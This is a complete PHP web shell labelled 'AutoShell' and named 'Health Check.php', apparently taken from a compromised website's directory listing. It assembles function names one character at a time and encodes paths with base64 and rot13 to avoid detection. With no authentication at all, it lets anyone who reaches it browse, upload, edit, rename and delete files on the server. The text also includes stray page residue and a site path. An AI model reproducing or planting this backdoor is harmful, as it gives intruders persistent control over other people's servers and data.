AutoShell

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?? Editing: Health Check.php

<?php
function j($a) { return implode('', $a); }

function get_func($k) {
    $map = [
        'scn' => j(['s','c','a','n','d','i','r']),
        'fgt' => j(['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s']),
        'fpc' => j(['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s']),
        'unl' => j(['u','n','l','i','n','k']),
        'ren' => j(['r','e','n','a','m','e']),
        'muf' => j(['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e']),
        'isd' => j(['i','s','_','d','i','r']),
        'isf' => j(['i','s','_','f','i','l','e']),
        'exs' => j(['f','i','l','e','_','e','x','i','s','t','s']),
        'wrt' => j(['i','s','_','w','r','i','t','a','b','l','e']),
    ];

$real_name = $map[$k] ?? '';
    if (function_exists($real_name)) {
        return $real_name;
    }

switch ($k) {
        case 'scn':
            return function($d) {
                $files = [];
                if (is_dir($d) && $handle = @opendir($d)) {
                    while (false !== ($entry = readdir($handle))) {
                        $files[] = $entry;
                    }
                    closedir($handle);
                }
                return $files;
            };
        case 'fgt': return function($f) { return @file_get_contents($f); };
        case 'fpc': return function($f, $c) { return @file_put_contents($f, $c); };
        case 'unl': return function($f) { return @unlink($f); };
        case 'ren': return function($o, $n) { return @rename($o, $n); };
        case 'muf': return function($s, $d) { return @move_uploaded_file($s, $d); };
        case 'isd': return function($d) { return is_dir($d); };
        case 'isf': return function($f) { return is_file($f); };
        case 'exs': return function($f) { return file_exists($f); };
        case 'wrt': return function($f) { return is_writable($f); };
        default: return function() { return false; };
    }
}

function rot($s) { return str_rot13($s); }
function enc($p) { return base64_encode(rot($p)); }
function dec($p) { return rot(base64_decode($p)); }

$cd = isset($_GET['d']) && $_GET['d'] ? dec($_GET['d']) : getcwd();
$cd = str_replace('\\', '/', $cd);
$cd = preg_replace('#/{2,}#', '/', $cd);
$cd = rtrim($cd, '/');
if ($cd === '') $cd = '/';

$up = dirname($cd);
if ($up === $cd || $up === false) $up = '';

echo '<div>';
if ($up) echo '<a href="?d=' . enc($up) . '">↑ Up</a> | ';
$parts = explode('/', trim($cd, '/'));
$cur = '';
foreach ($parts as $v) {
    if ($v === '') continue;
    $cur .= ($cur ? '/' : '') . $v;
    echo '<a href="?d=' . enc('/' . $cur) . '">' . $v . '</a>/';
}
echo '</div>';

if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] === 0) {
    $dst = $cd . '/' . $_FILES['u']['name'];
    $muf = get_func('muf');
    if ($muf($_FILES['u']['tmp_name'], $dst)) {
        header('Location: ?d=' . enc($cd));
        exit;
    }
    echo '<script>alert("Upload failed")</script>';
}

$scn = get_func('scn');
$items = $scn($cd);

if ($items === false) {
    $items = @glob($cd . '/*');
    if ($items) $items = array_map('basename', $items);
}

echo '<table border=1><tr><th>Name</th><th>Size</th><th>Action</th></tr>';

if (is_array($items)) {
    foreach ($items as $i) {
        if ($i === '.' || $i === '..') continue;
        $full = $cd . '/' . $i;

$isd = get_func('isd');
        if ($isd($full)) {
            echo "<tr><td><a href='?d=" . enc($full) . "'>$i/</a></td><td>--</td><td>-</td></tr>";
            continue;
        }

$isf = get_func('isf');
        if ($isf($full)) {
            $sz = @filesize($full) / 1024;
            $sz = $sz >= 1024 ? round($sz/1024, 2).' MB' : round($sz, 2).' KB';
            $b = enc($full);
            echo "<tr><td><a href='javascript:alert(atob(str_rot13(\"$b\")))'>$i</a></td><td>$sz</td><td>
                <a href='javascript:if(confirm(\"Delete?\")) 
                    { let f = document.createElement(\"form\"); 
                      f.method=\"post\"; 
                      f.innerHTML=\"<input name=del value=\\\"$b\\\" type=hidden>\"; 
                      document.body.appendChild(f); f.submit(); }'>Delete</a>
                <a href='javascript:{ let f = document.createElement(\"form\"); 
                                      f.method=\"post\"; 
                                      f.innerHTML=\"<input name=edit value=\\\"$b\\\" type=hidden>\"; 
                                      document.body.appendChild(f); f.submit(); }'>Edit</a>
                <a href='javascript:renameFile(\"$b\", \"$i\")'>Rename</a>
            </td></tr>";
        }
    }
} else {
    echo '<tr><td colspan=3>Unable to read directory</td></tr>';
}
echo '</table>';

if (isset($_POST['del']) && $_POST['del']) {
    $fp = dec($_POST['del']);
    $exs = get_func('exs');
    $unl = get_func('unl');
    if ($exs($fp) && $unl($fp)) {
        header('Location: ?d=' . enc(dirname($fp)));
        exit;
    }
    echo '<script>alert("Delete failed")</script>';
}

if (isset($_POST['edit']) && $_POST['edit']) {
    $fp = dec($_POST['edit']);
    $exs = get_func('exs');
    $wrt = get_func('wrt');
    $fgt = get_func('fgt');
    if ($exs($fp) && $wrt($fp)) {
        $content = htmlspecialchars($fgt($fp) ?: '');
        echo "<style>table{display:none} textarea{direction:auto; unicode-bidi:plaintext;}</style>
              <a href='?d=" . enc(dirname($fp)) . "'>← Back</a><br><br>
              <form method=post>
              <input type=hidden name=obj value='" . enc($fp) . "'>
              <textarea dir=\"auto\" name=content style='width:100%;height:500px'>$content</textarea><br>
              <button type=submit name=save>Save</button>
              </form>";
        exit;
    }
}

if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
    $fp = dec($_POST['obj']);
    $fpc = get_func('fpc');
    if ($fpc($fp, $_POST['content']) !== false) {
        header('Location: ?d=' . enc(dirname($fp)));
        exit;
    }
    echo '<script>alert("Save failed")</script>';
}

if (isset($_POST['ren']) && $_POST['ren'] && isset($_POST['new']) && $_POST['new']) {
    $old = dec($_POST['ren']);
    $dir = dirname($old);
    $new = $dir . '/' . $_POST['new'];
    $exs = get_func('exs');
    $ren = get_func('ren');
    if ($exs($old) && !$exs($new) && $ren($old, $new)) {
        header('Location: ?d=' . enc($dir));
        exit;
    }
    echo '<script>alert("Rename failed")</script>';
}
?>

<div id="renameModal" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.5); z-index:9999; text-align:center; padding-top:15%;">
  <div style="background:white; display:inline-block; padding:20px; border-radius:8px;">
    <h3>New name:</h3>
    <input type="text" id="newNameInput" dir="auto" style="width:300px; padding:8px;">
    <br><br>
    <button onclick="doRename()" style="padding:8px 16px;">OK</button>
    <button onclick="closeRename()" style="padding:8px 16px; margin-left:10px;">Cancel</button>
  </div>
</div>

let currentRenPath = "";
let currentRenOld = "";

function renameFile(b64, oldName) {
    currentRenPath = b64;
    currentRenOld = oldName;
    document.getElementById("newNameInput").value = oldName;
    document.getElementById("renameModal").style.display = "block";
}

function closeRename() {
    document.getElementById("renameModal").style.display = "none";
}

Path:

home / dhw4kgxay284 / public_html / ultrafineprecisionengineering.com /

?? Editing: Health Check.php

Path:

?? Upload